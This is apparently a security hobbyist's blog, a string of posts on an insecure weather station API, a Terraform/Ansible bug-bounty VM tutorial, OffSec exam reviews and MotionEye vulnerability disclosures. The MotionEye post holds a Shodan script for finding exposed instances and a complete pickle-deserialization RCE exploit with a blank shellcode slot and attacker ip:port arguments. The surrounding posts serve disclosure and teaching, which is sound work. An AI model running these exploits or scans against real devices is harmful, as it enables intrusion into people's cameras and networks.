I recently purchased the ECOWITT GW1102 Home Weather Station. It’s exactly what it sounds like – a mini weather station for your house. It has all the usual sensors you’d expect a weather station to have, and I’m actually very pleased with the hardware, considering the cheap price.
However, it is missing one thing – software security. But really, what did I expect from a cheap home weather station?
Comically, the landing page of the weather station’s server gives an illusion of some sort of security.
Password goes here.
Let’s intercept a request of us logging in.
Don’t steal my password.
This is all over HTTP. We post our password to /set_login_info – which seems like an odd endpoint for logging in. Notice the response does not set any cookies or seem like it actually does any sort of verification. Hmmm.
Anyway, after logging in, we are directed to /liveData.html. This page does exactly what its name implies. But let’s look at the links on the side of the page – particularly the Local Network link.
Click the Local Network link on the left-hand side.
If we intercept the requests in Burp after we click the Local Network link, we see a call to a /get_network_info endpoint. This returns info about the WiFi network to which the weather station is connected.
That’s my WiFi SSID and password.
Interesting. Notice again that there appears to be no authentication going on with this request. Let’s try to curl this endpoint
Uh oh.
Or how about the device password (not that you actually need the password now).
The password is now Weather24689 because I changed it without being authorized.
You can also do fun things like reboot the station, or get the user’s external weather reporting site’s API keys, etc. I notified ECOWITT support, but I’m assuming this won’t be fixed any time soon.
Edit: added this because someone didn’t understand this is an issue.
Edit: I added this picture above of the get_ws_settings endpoint. As you can see, I’m not using any authentication. You can also see I was trying some shenanigans, but nonetheless, you can also see this returns several API keys for other services, which is not a good thing to be handing out. It basically is the API endpoint for this page that is behind the ‘authentication’ of the application.
I did find some of these exposed to the internet, but I’d probably avoid that, if I were you. With that said, I actually like the hardware. It’s fun to play around with, and it is inexpensive.
I sometimes like to spin up a virutal machine in the cloud, do some testing, and then tear it down. It doesn’t even have to be for bug bounty hunting, but since I’ve been hunting so sporadically lately, that’s what I’ve been using this project for.
Anyway, it becomes tedious to do this repeatedly, so I decided to automate a large majority of the infrastructure creation and configuration with Terraform and Ansible.
In the following article, I’ll deploy a node on Linode, my VPS provider of choice. Use this referral link for a $100, 60-day credit. That way, you can test this project out until you’re blue in the face. The node size I deploy in this post runs $10 a month.
While Terraform and Ansible can both accomplish the same things, they both have their wheel houses. Terraform should be used for deploying infrastructure and Ansible should be used to configure that infrastructure.
In order to follow along with this article, you’ll need to install Terraform and Ansible per your Operating System’s documentation. I’m using Ubuntu 20.10.
Let’s begin b creating a directory structure for your project.
Next, you’ll need to obtain credentials from Linode. If you haven’t already, create an account, then click on your account name in the top, right-hand corner and select “API Tokens.”
Select create an access token and give it a name. Select Linodes and Read/Write, and then click “Create Token.”
Linode Read/Write Access Token
The token will be a long string of characters. Save this token for usage in a bit!
Terraform
cd into the Terraform directory you just created and create the following files:
The main.tf file is where the magic is done. This file will create the VM to our specifications. The variables.tf file declares variables that are used in main.tf. variables.tfvars will have the initializing values for these variables. You can also initialize the variables directly in variables.tf or even on the command line, if you’d prefer. We do it this way because it makes updating variables slightly easier and our project simpler, in a sense. output.tf defines what values will be printed to the console after we run the project.
Next, create some templates within the templates directory.
terraform {
required_providers {
linode = {
source = "linode/linode"
version = "1.27.0"
}
}
}
# Configure the Linode Provider
provider "linode" {
token = var.token
}
# Create a Linode
resource "linode_instance" "bugbountybox" {
image = var.image
label = var.label
region = var.region
type = var.type
root_pass = var.root_pass
}
# Create an Ansible playbook from a template file
resource "local_file" "bugbountybox_setup" {
content = templatefile("./templates/playbook.tmpl",
{
ip_address = linode_instance.bugbountybox.ip_address
}
)
file_permission = "0640"
filename = "../ansible/playbook.yml"
}
# Create an Ansible config from a template file.
resource "local_file" "ansible_config" {
content = templatefile("./templates/ansible.tmpl",
{
remote_user = "root"
}
)
file_permission = "0640"
filename = "../ansible/ansible.cfg"
}
# Create an Ansible playbook from a template file
resource "local_file" "ansible_inventory" {
content = linode_instance.bugbountybox.ip_address
file_permission = "0640"
filename = "../ansible/hosts"
}
variables.tf
Copy the following code into variables.tf:
variable "token" {
type = string
description = "Linode APIv4 token."
sensitive = true
}
variable "image" {
type = string
description = "Image to use for your VM."
default = "linode/ubuntu20.04"
}
variable "label" {
type = string
description = "Label to give your VM."
}
variable "region" {
type = string
description = "Region where the VM will be created."
}
variable "root_pass" {
type = string
description = "Password for the root account on this VM."
sensitive = true
}
variable "type" {
description = "Your Linode's plan type."
# You can initialize variables here instead of the tfvars file.
default = "g6-standard-1"
}
variables.tfvars
Copy the following code into variables.tfvars, and enter the values as needed:
token = "" # put your API token here.
image = "linode/ubuntu20.04"
label = "bug-bounty-box"
region = "us-east"
root_pass = "" # put your new VM's password here.
output.tf
Copy the following code into output.tf:
output "IP_Address" {
value = linode_instance.bugbountybox.ip_address
}
Templates
The templates will be used by Terraform to create files that Ansible will use. We could manually create/edit these Ansible files, but why do things manually when we can automate it?
If you take a close look at these templates, you’ll see variables indicated with the following templating syntax:
${ variable_name }
These are “filled in” during the terraform apply process. We only have a single variable in each of these files, but you can use as many as you’d like depending on what you’re trying to accomplish. This is a very powerful feature. It allows you to dynamically create files to be used in other processes – in our case, Ansible.
It’s Alive!
We are ready to create our infrastructure by running the following commands within the terraform directory. Type “yes” when prompted after the apply command.
The terraform init command initializes the project directory. terraform fmt formats the files to the canonical style. terraform validate validates the project to ensure it will work properly. Finally, terraform apply creates your infrastructure using the tfvars file you specified.
If everything goes as planned, you should see output similar to this.
terraform apply output
As you can see, the IP address of our VM was present in the output as we specified in outputs.tf.
Ansible
During the infrastructure creation process, several files should have been created in the ansible directory. Ansible will use these files update/upgrade and install packages on our VM. From the ansible directory we run the following command to configure our new VM. At the start, you will be prompted for the SSH password that you used in your tfvars file.
$ ansible-playbook -i hosts playbook.yml
We need to specify the hosts file that Terraform created so Ansible doesn’t use the hosts file located in /etc/ansible.
This process will take a few minutes to complete, but if all went as planned, you should see something similar to this on your terminal.
Tear it Down
When you are all done playing around with your new VM, you can destroy it with the following command. Please remember to destroy it or else you will incur costs. Type “yes” when prompted.
Now, play around with the above project. Can you set it up to deploy multiple VMs? Can you set it up to deploy multiple VMs, install some other packages, run some commands and send the output of those commands to a database somewhere? Can you set this up on multiple clouds?
The example here is pretty basic, and doesn’t necessarily follow best practices (especially with Ansible), but it gives you the idea of what can be done with automation. Some, if not all, of the leading bug bounty hunters are at least partially automating their work. You should automate too.
Feel free to download all this code from my github and don’t forget to use my link to sign up for a Linode account.
Links
Here are some links to more information and documentation that is pertinent to this article, including a link to this code on Github.
Edit: This was given CVE-2022-25568. As mentioned in my previous posts here and here, I’ve done a little digging into the conditions that are required for the MotioneEye config file to be world viewable, and I’ve reached this conclusion:
As long as a “user” password is not set, the config file will be world readable. Even if an “admin” password has been set, the /config/list file will still be readable by everybody. So, while someone could think they are doing the correct thing by creating a password for the admin user, they may still be leaking private information. Here is a innocuous example from a live instance:
As you can see in this picture, IP addresses/services/passwords are exposed. This is a rather innocuous example, being that it is an internal IP address, but it illustrates how this could be an issue. Imagine if those were your public FTP server credentials. Or if they were your gmail credentials for smtp notifications. The list goes on.
Along with usernames, passwords, auth keys, and email addresses, these config files also contain less sensitive information like internal network IP addresses and URLs, drive and mounting information.
In many ways this vulnerability may be worse that the MotionEye RCE vulnerability that I reported and received a CVE for. In that case, the admin password needed to be left blank (or easily guessed) for someone to get into the admin panel and achieve RCE. In this case, a user could think they’re being secure by setting an admin password, but they leave the user password blank – and the config remains viewable.
I’ve found gmail, gdrive, ftp, sftp, telegram stuff (not sure how auth works there), etc. all exposed to the WWW in these files.
I’ve submitted an issue on the MotionEye github page, but if it is anything like last time, they don’t plan on fixing it/see it as a non-issue.
Edit: The issue was closed before I even finished this post.
Edit: The issue was reopened and I submitted a pull request to fix the issue, although my fix was not tested much, so it may not work properly.
You know, OffSec describes the OSEP as: “Evasion Techniques and Breaching Defenses (PEN-300) is an advanced penetration testing course”. I don’t know how advanced it is, if I can pass, lol. I generally have no idea what I’m doing.
Anyway, I really liked the course. There is a lot of material to keep you busy. Unless you’re already familiar with a large chunk of the topics, you’re probably best-served by purchasing the 90 day version of the course. The challenge labs are fun. Make sure you do them before the exam.
The exam was challenging, but fair. You should be able to figure out what you need to do next somewhat quickly, but executing it may be a different story, if you’re anything like me. Just ask yourself, “What did I just accomplish, and what does that allow me to do now?” If you’ve completed the challenge labs, you will be well-prepared for the exam. Some people say to make sure you do all the questions and extra miles in the lab manual, but I only did, I don’t know, 30% of them?
I don’t know what’s next for me. I have a voucher to do the OSED, but I’m a little burned out at this point. I’ll probably put that off until the summer – because who doesn’t like sitting inside and writing exploits when the weather is nice?
I was given CVE-2021-44255 for this – authenticated RCE via a malicious tasks (python pickle) file. So that’s fun. Even though it is authenticated, the default username is admin and the default password is blank, so you know how these things go. I actually haven’t heard of any MotionEye instances being used in botnets or anything.
I should probably request a CVE for the unauthenticated information disclosure that I found, but I need to do some more research on that one.
Newer versions of Linux may not come with any sort of Python 2 installed. I recently wanted to run Sharpshooter, which is a “payload creation framework for the retrieval and execution of arbitrary CSharp source code.”
Problem is, Python 2 isn’t installed by default on Ubuntu 21.xx and neither is pip2. You also need to install an older (I think) version of jsmin – at least that’s what worked for me.
Use this script to install everything and get it up and running.
if [ "$EUID" -ne 0 ]
then echo "Run as root!"
exit
fi
# clone sharpshooter from github
git clone https://github.com/mdsecactivebreach/SharpShooter.git
add-apt-repository universe && apt update
apt install git curl
# install python2.7 and pip2
apt install python2.7 -y
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
chmod +x ./get-pip.py
sudo python2.7 ./get-pip.py
# install correct jsmin
wget https://files.pythonhosted.org/packages/17/73/615d1267a82ed26cd7c124108c3c61169d8e40c36d393883eaee3a561852/jsmin-2.2.2.tar.gz
tar xzf jsmin-2.2.2.tar.gz
python2.7 ./jsmin-2.2.2/setup.py install
MotionEye is an open source, web-based GUI for the popular Motion CLI application found on Linux. I’ve known of the Motion command line app for years, but I didn’t know that MotionEye existed. I ran across it while trying to find a multiple webcam, GUI or web based solution for future projects.
MotionEye comes in a couple forms – a standalone app, which I used the docker container version of, or a “whole” operating system, MotionEyeOS, to install on a Raspberry Pi.
Starting off, I used Shodan search to find internet facing installations. Here is the script I used for that. If you use this script, you’ll need to put in your API key and the limit parameter, which limits the API queries that you use.
#!/usr/bin/env python3
import sys
# pip3 install shodan
from shodan import Shodan
import requests
# check for api key
api = Shodan('') # Insert API key here
if api.api_key == '':
print("No API key found! Exiting")
sys.exit(1)
limit = 1000 # set this to limit your api query usage
counter = 0
url_file = open("urls.txt", "w")
for response in api.search_cursor('Server: motionEye'):
ip = response['ip_str']
port = response['port']
url = f'http://{ip}:{port}'
url_file.write(url + '\n')
# Keep track of how many results have been downloaded so we don't use up all our query credits
counter += 1
if counter >= limit:
break
url_file.close()
I ran out of query credits when I ran this script. There are thousands of installations out there. This script will output the IP addresses of those installations.
Finding Live Feeds
In my review of the application, I found that you can make a query to the /picture/{camera-number}/current/ endpoint, and if it returns a 200 status code, it means that the feed is open to the public. You can also increment the camera-number an enumerate the numbers of cameras a feed will actually have, even if it isn’t available to view.
I took the output of motioneye-shodan.py script above, and fed it to live-feeds.py script below.
This script outputs the URL of camera feeds that we can view. But the real question here is, what security issues are there with MotionEye?
Information Leakage
It turns out that if you make a get request to the following endpoint /config/list, some of the feeds will return their config files. Most of the time these config files are innocuous. I’m not sure why these are publicly accessible even if the feed is publicly accessible. Maybe it is used as an API endpoint of some sort. I need to dig into the code some more.
However, sometimes these config files contain some very sensitive information. Consider the following config with email_notifications_smtp_password and email_notifications_addresses removed. These passwords are supposed to be for services that the public cannot access, but unfortunately people like to reuse passwords. Again, why is this file even readable?
Along with the occasional password, email addresses are in here, internal IP addresses and ports, mounting points for local drives, etc.
Rate-Limiting and Default Credentials
So, the default installation of MotionEye uses the username of admin and a blank password. Additionally, MotionEye does not seem to institute any sort of rate limiting on login attempts. This is a recipe for disaster.
Authenticated RCE Method #1
Once logged in, I found two simple methods of code execution. The first of which is a classic Python cPickle deserialization exploit.
In the configuration section of the application, there is an option to backup and restore the application configurations. It turns out that if you include a malicious tasks.pickle file in the config you are restoring with, it’ll be written to disk and will be loaded when the application is restarted automatically or manually.
You can simply download the current configuration to use it as a template. After downloading and extracting it, slide your malicious tasks.pickle file and tar.gz everything back up.
The final structure of my motioneye-config.tar.gz for the docker container is as follows:
Pause here: You see, those are ssh keys. So you say why don’t we just try ssh? Go for it. You also may not even need a password, but some people have either secured ssh or disabled ssh on the actually raspberry pi, so it won’t work. A lot of these instances will have ssh turned off, and if it is running in docker, you probably won’t be able to download the ssh keys. Also, it is more fun to write scripts in Python.
Once the configuration is uploaded, wait for the app to reload, or, in unfortunate cases, wait for the app to be reloaded by mother nature or the victim. From what I can see, the docker application will not autoreboot. Here is a Python 3 script that will do all of this. Also, see the github repo, which may be more updated.
#!/usr/bin/env python3
import requests
import argparse
import os
import pickle
import hashlib
import tarfile
import time
import string
import random
from requests_toolbelt import MultipartEncoder
import json
# proxies = {"http": "http://127.0.0.1:9090", "https": "http://127.0.0.1:9090"}
proxies = {}
def get_cli_args():
parser = argparse.ArgumentParser(description="MotionEye Authenticated RCE Exploit")
parser.add_argument(
"--victim",
help="Victim url in format ip:port, or just ip if port 80",
required=True,
)
parser.add_argument("--attacker", help="ipaddress:port of attacker", required=True)
parser.add_argument(
"--username", help="username of web interface, default=admin", default="admin"
)
parser.add_argument(
"--password", help="password of web interface, default=blank", default=""
)
args = parser.parse_args()
return args
def login(username, password, victim_url):
session = requests.Session()
useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
headers = {"User-Agent": useragent}
login_url = f"http://{victim_url}/login/"
body = f"username={username}&password={password}"
session.post(login_url, headers=headers, data=body)
return session
def download_config(username, victim_url, session):
download_url = f"http://{victim_url}/config/backup/?_username={username}&_signature=5907c8158417212fbef26936d3e5d8a04178b46f"
backup_file = session.get(download_url)
open("motioneye-config.tar.gz", "wb").write(backup_file.content)
return
def create_pickle(ip_address, port):
shellcode = "" # put your shellcode here
class EvilPickle(object):
def __reduce__(self):
cmd = shellcode
return os.system, (cmd,)
# need protocol=2 and fix_imports=True for python2 compatibility
pickle_data = pickle.dumps(EvilPickle(), protocol=2, fix_imports=True)
with open("tasks.pickle", "wb") as file:
file.write(pickle_data)
file.close()
return
def decompress_add_file_recompress():
with tarfile.open("./motioneye-config.tar.gz") as original_backup:
original_backup.extractall("./motioneye-config")
original_backup.close()
original_backup.close()
os.remove("./motioneye-config.tar.gz")
# move malicious tasks.pickle into the extracted directory and then tar and gz it back up
os.rename("./tasks.pickle", "./motioneye-config/tasks.pickle")
with tarfile.open("./motioneye-config.tar.gz", "w:gz") as config_tar:
config_tar.add("./motioneye-config/", arcname=".")
config_tar.close()
return
def restore_config(username, password, victim_url, session):
# a lot of this is not necessary, but makes for good tradecraft
# recreated 'normal' requests as closely as I could
t = int(time.time() * 1000)
path = f"/config/restore/?_={t}&_username={username}"
# admin_hash is the sha1 hash of the admin's password, which is '' in the default case
admin_hash = hashlib.sha1(password.encode("utf-8")).hexdigest().lower()
signature = (
hashlib.sha1(f"POST:{path}::{admin_hash}".encode("utf-8")).hexdigest().lower()
)
restore_url = f"http://{victim_url}/config/restore/?_={t}&_username=admin&_signature={signature}"
# motioneye checks for "---" as a form boundary. Python Requests only prepends "--"
# so we have to manually create this
files = {
"files": (
"motioneye-config.tar.gz",
open("motioneye-config.tar.gz", "rb"),
"application/gzip",
)
}
useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
boundary = "----WebKitFormBoundary" + "".join(
random.sample(string.ascii_letters + string.digits, 16)
)
m = MultipartEncoder(fields=files, boundary=boundary)
headers = {
"Content-Type": m.content_type,
"User-Agent": useragent,
"X-Requested-With": "XMLHttpRequest",
"Cookie": "meye_username=_; monitor_info_1=; motion_detected_1=false; capture_fps_1=5.6",
"Origin": f"http://{victim_url}",
"Referer": f"http://{victim_url}",
"Accept-Language": "en-US,en;q=0.9",
}
response = session.post(restore_url, data=m, headers=headers, proxies=proxies)
# if response == reboot false then we need reboot routine
content = json.loads(response.content.decode("utf-8"))
if content["reboot"] == True:
print("Rebooting! Stand by for shell!")
else:
print("Manual reboot needed!")
return
if __name__ == "__main__":
print("Running exploit!")
arguments = get_cli_args()
session = login(arguments.username, arguments.password, arguments.victim)
download_config(arguments.username, arguments.victim, session)
# sends attacker ip and port as arguments to create the pickle
create_pickle(arguments.attacker.split(":")[0], arguments.attacker.split(":")[1])
decompress_add_file_recompress()
restore_config(arguments.username, arguments.password, arguments.victim, session)
Authenticated RCE Method #2
Another method of code execution involves motion detection. There is an option to run a system command whenever motion is detected. The security implications of this are obvious.
python rev shell
Conclusion
While authentication is needed for RCE, the presence of default credentials and lack of rate limiting make obtaining authentication straightforward. There are a lot of people running this software in a vulnerable manner.
As per my usual advice, don’t expose MotionEye to the WWW. Like all the self-hosted solutions, I advise you to install this to face your internal network and then connect to your internal network via OpenVPN or Wireguard.
Update: I was give CVE-2021-44255 for the python pickle exploit.
IDK where I have been, but I never heard of this language until today. So, what’s the first thing you do when you learn about a language? You write a directory enumeration script with it.
Please disregard my horrible code, inability to follow Nim standards and philosophies, and the general hackiness of this code.
import httpclient
import parseopt
import strutils
import system
var p = initOptParser()
var wordlist: string
var url: string
while true:
p.next()
case p.kind
of cmdEnd: break
of cmdShortOption, cmdLongOption:
if p.key == "u":
url = p.val
if p.key == "w":
wordlist = p.val
of cmdArgument:
echo ""
let contents = readFile(wordlist)
let words = contents.splitLines()
var final_url: string
var client = newHttpClient(timeout = 100)
for i in 0 ..< words.len:
final_url = url & "/" & words[i]
try:
let response = client.request(final_url, httpMethod = HttpGet)
let status_code = response.status.split(' ')[0]
if status_code == "200":
echo final_url
except:
echo ""
All this code does is take a url parameter and a wordlist parameter and makes http get requests to the url + wordlist entry – standard directory enumeration stuff. If the response code is 200, that url gets sent to stdout.
As time permits I’ll update this app. It’d be cool to have it much more feature complete like gobuster, wfuzz, et. al. For now, see the github respository for more information.
I just started this course the other day. I’m already neck deep in VBA, C#, and Powershell, which I need more experience in anyway. I had to do some C# for the AWAE/OSWE and I’ve written a couple very small web apps in C#. I’ve done a very minimal amount of Powershell, though I’ve been meaning to change that.
I know a lot of people say the OSCP is lacking in Active Directory attacking, which may be true. I’d counter by saying what the OSCP doesn’t cover, PEN-300 will cover. The courses go hand in hand. My early opinion is that anybody that takes and passes the OSCP should do PEN-300
All in all, I’m pleased so far. I’m only about 1/7th of the way through the PDF, though. I have a lot to go. With all that I have going on IRL, I’m not sure I’ll be able to finish it in the two months I’m allotted – I may have to get an extension.
My plan is to pass the OSEP exam in October and then start the EXP-301 course and pass that exam by the end of the year. This is an aggressive, and probably unrealistic goal, but oh well, haha.
Anyway, I’ll be back with a full report after the exam.
For people unfamiliar with this course and exam, here is a link to the Offensive security website. I’ve also written about it before, so you can check my post history. Basically the course is a giant pdf and a bunch of videos that go over web application attacks. You then get access to a lab consisting of 13 machines that are running a wide variety of vulnerable web-apps. In regards to languages/DBs/tech, this course covers VSCode, Visual Studio, JDGui, Javascript, PHP, Node, Python, Java, C#, mysql, and postgres – so it’s pretty thorough.
The exam is a 48 hour long exam where they give you access to two machines running vulnerable web-apps. You have to bypass auth on them to get administrator access and then escalate your attack to full-blown remote code execution. You’ll get two debugging machines that are running the same apps as the exam machines. You get full access to the app source code – this is a white-box course after all. You have to review the code base, and then use these debugging machines to develop ‘one-shot’ exploit script that bypasses auth and trigger RCE. I used python, as do most people, I think.
Oh yeah, and they watch you on camera the whole time.
After the exam time is up, assuming you have enough points to pass, you have another 24 hours to write an exam report documenting what you found and how you exploited it.
> How did it go?
First things first: I had to take this one twice. My power went out twice, briefly, and my father had to go to the hospital (he’s fine) during my first attempt. Even though he lives hours away, and there wasn’t much I could do, I was a little distracted. And it wasn’t like I was in front of the computer for the full 48 hours. I took a break about every 1.5 hours or so and slept 5-6 hours both nights.
Nevertheless, I still managed RCE on one of the boxes, and if I had another hour or so, I would have had an auth bypass on the second box – which would likely have let me pass. I look back and I just kind of laugh at how I failed it. I missed something simple that would have given me enough points to pass. I even knew what I needed – I just overlooked it.
I actually noticed the vulns on both boxes within an hour of looking at them. I then went down some rabbit holes for a bit and got sidetracked – especially on the box that I considered the harder one.
The second time around I crushed the exam in about 8 hours – RCE on both boxes. I had my report turned in at the 20 hour mark or so – and I was lollygagging.
If you don’t know me, my background is this: I’m not a professional developer. I don’t work in IT. I have never worked in IT. I just like computers. If I can pass this exam, so can you.
> Advice and Review
My advice for people that are preparing to take this exam is to just take their time and read the code. You need to know how to get the VSCode debugging going. It is a lifesaver. It is probably hard to pass if you don’t get it working. If you follow the code flow in a debugger, things should pop out at you. With that said, they do throw in a couple curve balls, which I bet throws some people for a loop. Now these curve balls aren’t hard to hit, per se, but someone that hasn’t been in the infosec/CTF/bug bounty world may miss these things.
Another question that I’ve been asked is, “Do you need an OSCP to do this couse?” I’ve changed my mind on this several times, and while I think an OSCP will give you a leg up, you don’t really need to have one – especially if you’re already involved the hacking/bug bounty/CTF world. If you’re coming at it straight from being a developer, it may not hurt to expose yourself to this stuff beforehand.
All in all, I’d say the exam was fair and maybe a little on the easy side. I say that as someone that failed it once, too, haha. But not only that, the exam is also a lot of fun. I love the Offensive Security exams. Some people will probably hate me for saying that, but they are a lot of fun.
